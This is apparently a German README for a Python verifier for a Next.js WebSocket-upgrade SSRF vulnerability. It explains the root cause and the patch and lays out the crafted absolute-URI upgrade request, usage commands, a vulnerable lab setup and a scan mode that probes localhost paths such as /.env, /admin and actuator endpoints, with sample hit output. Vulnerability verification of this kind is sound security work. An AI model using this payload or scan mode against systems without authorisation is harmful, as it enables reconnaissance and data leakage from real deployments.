
OOB-Verifizierer für GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-Upgrade SSRF)
In-Band-Verifizierer für GHSA-c4j6-fc7j-m34r / CVE-2026-44578 – Serverseitige Anfragenfälschung (SSRF) in Next.js über WebSocket-Upgrade-Anfragen.
⚠️ Nur für autorisierte Sicherheitstests. Sie sind dafür verantwortlich sicherzustellen, dass Sie die Erlaubnis haben, jedes Ziel zu testen, das Sie an dieses Skript übergeben.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CWE | CWE-918 (SSRF) |
| CVSS v3.1 | 8.6 (Hoch) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Betroffen | next >=13.4.13 <15.5.16, >=16.0.0 <16.2.5 |
| Gepatched | 15.5.16, 16.2.5 |
| Fix-Commit | c4f69086 |
| Nicht betroffen | Vercel-gehostet; output: "export"; Bereitstellungen hinter einem Reverse Proxy, der Upgrade nicht weiterleitet |
Ein Angreifer öffnet eine TCP-Verbindung zu einem selbst gehosteten Next.js-Prozess und sendet ein HTTP/1.1-WebSocket-Upgrade, dessen Anfrage-URI eine absolute URL ist:
GET http://anything/<pfad> HTTP/1.1
Host: <ziel>
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
In resolveRoutes enthält die URL // (wie jede absolute URI), was
dem Zweig "normalize repeated slashes" entspricht. Dieser Zweig kehrt frühzeitig zurück
mit { finished: true, statusCode: 308, parsedUrl: <zerstückelt> }. Der
Normalisierer kollabiert http://host/pfad zu http:/host/pfad (ein Schrägstrich).
In router-server.ts ignorierte der vor dem Patch Upgrade-Handler
finished/statusCode und prüfte nur parsedUrl.protocol. Da das
Protokoll die Normalisierung überlebt, rief er proxyRequest(...) auf.
Der Fix (Commit c4f69086) führte eine Prüfung im Upgrade-Handler ein,
ob finished && !statusCode vor dem Proxying. Der 308-Normalisierungsfall besteht jetzt
die !statusCode-Prüfung nicht und der Socket wird geschlossen.
Der Proxy erreicht nie einen externen Host. Wenn Sie einen Interactsh-,
Burp-Collaborator- oder Webhook-Köder einrichten und erwarten, dass der Next-Prozess nach Hause telefoniert,
wird er das nicht tun – die Verbindung geht zu localhost auf dem Zielrechner.
Dieser Verifizierer verwendet daher ein In-Band-Signal, das vom Upgrade-Socket gelesen wird:
Ein verwundbarer Server gibt einen erkennbaren Fehler-Textkörper zurück, ein gepatchter Server nichts.
Das SSRF-Ziel ist eingeschränkt, aber in realen Bereitstellungen dennoch bedeutsam:
127.0.0.1:80 oder :443 binden und Anfragen vom localhost vertrauen.127.0.0.1:80 exponiert ist (ungewöhnlich, aber beobachtet).AWS-/GCP-/Azure-Metadaten-Endpunkte (169.254.169.254) sind nicht direkt
erreichbar, da der Fehler das Ziel auf localhost festlegt.
Für jedes Ziel öffnet das Skript einen rohen TCP- (oder TLS-)Socket, sendet das präparierte Upgrade, liest die Antwort und erzeugt zwei Signale:
verdict – ob der Fehler vorhanden ist.impact_confirmed – ob die SSRF tatsächlich Daten exfiltriert hat
(d.h. ein auf localhost:80/443 des Ziels mit laufender Dienst hat geantwortet und wir haben dessen Antwort zurückbekommen).Wenn impact_confirmed wahr ist, enthält die JSON-Ausgabe auch
upstream_status, upstream_server und upstream_content_type,
die aus der durchgesickerten Antwort extrahiert werden (nützlich für Triage/Report-Erstellung).
Standardmäßig erhält jedes Ziel auch eine Kontrollsonde mit derselben
absoluten URI-Anfragezeile, aber ohne Upgrade-Header (Connection: close).
Wenn das Frontend auf beide Sonden dieselbe Antwort zurückgibt (Statuszeile +
Größe innerhalb Toleranz), weist das Frontend des Hosts selbst die
absolute URI-Anfragezeile zurück – nginx 400, Apache 400, CDN-Edge – und
die SSRF hat Next nie erreicht. Das Ergebnis wird auf front_end_intercepts
herabgestuft und die JSON-Ausgabe enthält front_end_status und front_end_server,
die aus der Proxy-Antwort extrahiert wurden, damit der Betreiber identifizieren kann, was abfängt.
Dies eliminiert einen realen False-Positive-Fall, der beobachtet wurde, wenn selbst gehostetes Next
hinter nginx/Apache sitzt: Diese Proxies lehnen die Anfragezeile
GET http:///x HTTP/1.1 der Sonde mit einem generischen 400 ab, was der Detektor
zuvor fälschlicherweise als vulnerable_proxy_succeeded interpretiert hat. Übergeben Sie
--no-control-probe, um dies zu deaktivieren und die rohen Ergebnisse zu sehen.
# Einzelnes Ziel
python3 verify_ghsa_c4j6.py --target https://app.example.com
# Mehrere Ziele durch Wiederholung des Flags
python3 verify_ghsa_c4j6.py \
--target https://app1.example.com \
--target app2.example.com:3000 \
--target 10.0.0.5:80
# Aus einer Datei (ein Ziel pro Zeile; '#' für Kommentare)
python3 verify_ghsa_c4j6.py --targets-file targets.txt
# Von stdin
cat targets.txt | python3 verify_ghsa_c4j6.py
# JSON-Lines-Ausgabe für nachgelagerte Tools
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
# Auflistung ko-lokalisierter Dienste auf dem localhost:80/443 des Ziels über den Fehler
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan
# Gleiches, mit einer benutzerdefinierten Pfadliste
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt
--scan durchsucht eine eingebaute Liste gängiger Pfade (Apache/nginx-Statusmodule,
Health- und Metrik-Endpunkte, Spring Boot Actuator, Go pprof, Docker-Daemon-Endpunkte,
gängige Admin-Panels, durchsickernde Konfigurationsdateien, Elasticsearch-Routen,
etc.) durch den SSRF-Gadget.
Standardmäßig führt der Scan-Modus eine zusätzliche differentiale Baseline-Sonde
mit einem zufälligen nicht vorhandenen Pfad pro Ziel durch. Nachfolgende Sonden werden
nur dann mit DIFF gekennzeichnet, wenn ihre Signatur (status, body length) von
der Baseline abweicht – einheitliche 404-Fehler von einem "nichts gefunden"-Upstream werden
als noise markiert und erhöhen die Trefferzahl nicht. Übergeben Sie --no-differential, um
jede Sonde zu melden, die einen Dienst erreicht hat (Legacy-Verhalten).
Die Ausgabe wird pro Ziel gruppiert:
=== vulnscope.local:3030 ===
baseline (random path): verdict=vulnerable_proxy_succeeded status=404 bytes≈500
[VULN+] DIFF / impact=YES status=200 ct='text/html'
[VULN+] DIFF /.env impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /admin impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /index.html impact=YES status=200 ct='text/html'
[VULN+] DIFF /server-status impact=YES status=200 ct='application/octet-stream'
[VULN+] noise /_health impact=YES status=404 ct='text/html;charset=utf-8'
[VULN+] noise /actuator/env impact=YES status=404 ct='text/html;charset=utf-8'
... (53 weitere 'noise'-404-Pfade unterdrückt) ...
-> 5 differentiale Treffer / 58 Sonden
-> upstream server(s) gesehen: SimpleHTTP/0.6 Python/3.14.4
DIFF-Zeilen sind die echten Treffer – Pfade, deren Antwort von der
Zufallspfad-Baseline abwich (anderer Status, andere Body-Länge). noise-Zeilen
erreichten ebenfalls einen HTTP-Dienst, produzierten aber dieselbe langweilige Antwort
wie die Baseline – typischerweise einheitliche 404, die der Betreiber nicht
beachtet. Wenn jede Sonde noise ist und es keine Baseline-Abweichung gibt,
ist der Fehler immer noch vorhanden, aber auf localhost:80/443 dieses Hosts hört
nichts Nützliches.
Ziele können host, host:port oder vollständige http(s)://...-URLs sein.
Tunnelt alle Sonden durch einen HTTP-CONNECT-Proxy zur Inspektion in Burp / mitmproxy / OWASP ZAP:
# reines HTTP-Ziel über Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080
# HTTPS-Ziel über Burp (Burp MITM-t TLS – benötigt --insecure oder Installation von Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure
# Proxy mit Basic Auth
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128
Der Proxy sieht ein CONNECT host:port, gefolgt von der rohen Upgrade-Nutzlast –
nützlich, wenn Burp die SSRF-Sonden protokollieren, wiederholen oder modifizieren soll.
Sie können ein verwundbares Labor mit fünf Befehlen ausführen:
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030
Ausgabe:
[ VULN] target=127.0.0.1:3030 verdict=vulnerable impact= no
snippet: 'Internal Server Error'
Wiederholen Sie mit [email protected] und Sie sollten verdict=likely_patched sehen.
demo_impact.sh startet Next auf :80 (damit sein auf localhost festgelegtes SSRF-Ziel
derselbe Next-Prozess ist) und liest Nexts eigenes HTML durch den
Fehler zurück. Erfordert sudo für die privilegierten Port-Bindungen.
LAB_DIR=/pfad/zu/next-vuln-lab ./demo_impact.sh
Erwartete Ausgabe endet mit IMPACT CONFIRMED — SSRF erreichte einen Dienst auf dem Ziel-Localhost und las Antwortdaten zurück.
Upgrade-Header nicht weiterleitet, maskiert die Schwachstelle; das Skript meldet
likely_patched. Testen Sie erneut direkt gegen den Next-Prozess, wenn möglich.Internal Server Error könnte
theoretisch auch von einem vorgeschalteten Proxy selbst zurückgegeben werden. Um dies
auszuschließen, senden Sie dieselbe Nutzlast erneut mit Connection: close anstelle von
Connection: Upgrade – ein wirklich verwundbares Next gibt dann keinen
Internal Server Error-Body mehr zurück (anderer Codepfad).next start verwendet standardmäßig HTTP/1.1.Testen Sie nur Systeme, die Sie besitzen oder für die Sie eine ausdrückliche, schriftliche Autorisierung zur Bewertung haben.
MIT
proxyRequest führt url.format(parsedUrl) auf der verstümmelten URL aus und erhält
http:/host:port/pfad. http-proxy parst dieses Ziel, findet keinen Host
(url.parse('http:/...').host === null) und fällt auf sein Standardziel zurück:
localhost:80 (oder localhost:443 für https).
In der Praxis erlaubt die SSRF also, dass Next einen WebSocket-Upgrade zu dem localhost:80 / localhost:443 des Next.js-Hosts selbst mit einem vom Angreifer kontrollierten Pfad öffnet.
| Antwort | Ergebnis | impact_confirmed |
|---|
Enthält Internal Server Error | vulnerable | false – Fehler nachgewiesen, aber Proxy hat nichts auf localhost getroffen |
Beginnt mit HTTP/1. | vulnerable_proxy_succeeded | true – echte Antwortdaten exfiltriert |
| Leer / saubere Schließung | likely_patched | false – umfasst auch "nicht Next", "Reverse Proxy hat Upgrade entfernt", "Vercel" |
| Identisch mit Kontrolle ohne Upgrade | front_end_intercepts | false – Frontend-Proxy hat beide Sonden kurzgeschlossen; SSRF hat Next nie erreicht |
| Alles andere | inconclusive | false |
| Flag | Beschreibung | Standard |
|---|
--target URL | Ein einzelnes Ziel. Für mehrere wiederholen. | – |
--targets-file PFAD | Datei mit einem Ziel pro Zeile. | – |
--probe-path PFAD | Pfad, der in der präparierten absoluten URI verwendet wird. Erreicht den localhost-Dienst des Ziels unter diesem Pfad (protokolliert mit pro-Ziel-Token-Suffix). | /x |
--scan | Auflistung gängiger Pfade auf dem localhost-Dienst jedes Ziels. Sendet eine differentiale Baseline-Sonde pro Ziel plus die Pfadliste. | aus |
--scan-paths-file PFAD | Benutzerdefinierte Pfadliste für den Scan-Modus (eine pro Zeile). Impliziert --scan. | eingebaut |
--no-differential | Im --scan-Modus die Baseline-Sonde überspringen und jede Sonde melden, die einen Dienst erreicht hat (Legacy-Verhalten). | aus |
--no-control-probe | Deaktiviert den Frontend-Kurzschlussschutz (zusätzliche Sonde ohne Upgrade pro Ziel). Nützlich, wenn Ziele bekanntermaßen direkte Next-Prozesse sind. | aus |
--timeout SEK | Timeout pro Socket. | 5 |
--concurrency N | Parallele Sonden. | 10 |
--insecure | TLS-Zertifikatsprüfung überspringen. Erforderlich mit --proxy bei MITM von TLS. | aus |
--proxy URL | Tunnel durch einen HTTP-CONNECT-Proxy (Burp / mitmproxy / ZAP). Unterstützt Basic Auth über http://user:pass@host:port. Erfordert Python 3.11+ für TLS-Ziele. | direkt |
--json | JSON Lines statt menschenlesbarem Text ausgeben. | aus |